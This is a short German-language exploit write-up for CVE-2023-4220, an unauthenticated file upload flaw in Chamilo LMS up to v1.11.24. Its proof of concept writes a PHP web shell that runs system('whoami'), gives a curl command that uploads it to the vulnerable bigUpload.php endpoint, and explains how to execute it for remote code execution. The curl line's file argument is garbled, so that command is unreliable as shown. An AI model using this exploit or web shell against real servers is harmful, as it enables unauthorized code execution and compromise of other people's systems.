Chamilo-LMS-Unauthenticated-File-Upload-

Uneingeschränkter Datei-Upload in der Big-File-Upload-Funktionalität in /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS <= v1.11.24 erlaubt nicht authentifizierten Angreifern, gespeicherte Cross-Site-Scripting-Angriffe durchzuführen und Remote-Codeausführung durch das Hochladen einer Web-Shell zu erlangen.

Betroffene Version ≤v1.11.24

CVE-Kennung CVE-2023-4220

Zusammenfassung der Schwachstelle

Die Big-File-Upload-Funktionalität von /main/inc/lib/javascript/bigupload/inc/bigUpload.php erlaubt das Hochladen beliebiger Dateien in das Verzeichnis /main/inc/lib/javascript/bigupload/files innerhalb des Web-Roots.

Proof-of-Concept

• Falls das Verzeichnis /main/inc/lib/javascript/bigupload/files existiert, können wir eine beliebige Datei wie folgt hochladen:

• Erstelle eine schädliche PHP-Datei echo '<?php system("whoami"); ?>' > dollarboysushil.php

• Wir können diese Datei dann mit dem folgenden Befehl hochladen:

  root@kitploit:~

  `$ curl -F '[email protected]' 'http://<website>/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'` 
  

  

• Wir können überprüfen, ob unsere Datei hochgeladen wurde, indem wir das Verzeichnis /main/inc/lib/javascript/bigupload/files aufrufen.

• Und wir können sie ausführen, indem wir auf die PHP-Datei klicken, was die Ausgabe des Befehls whoami liefert.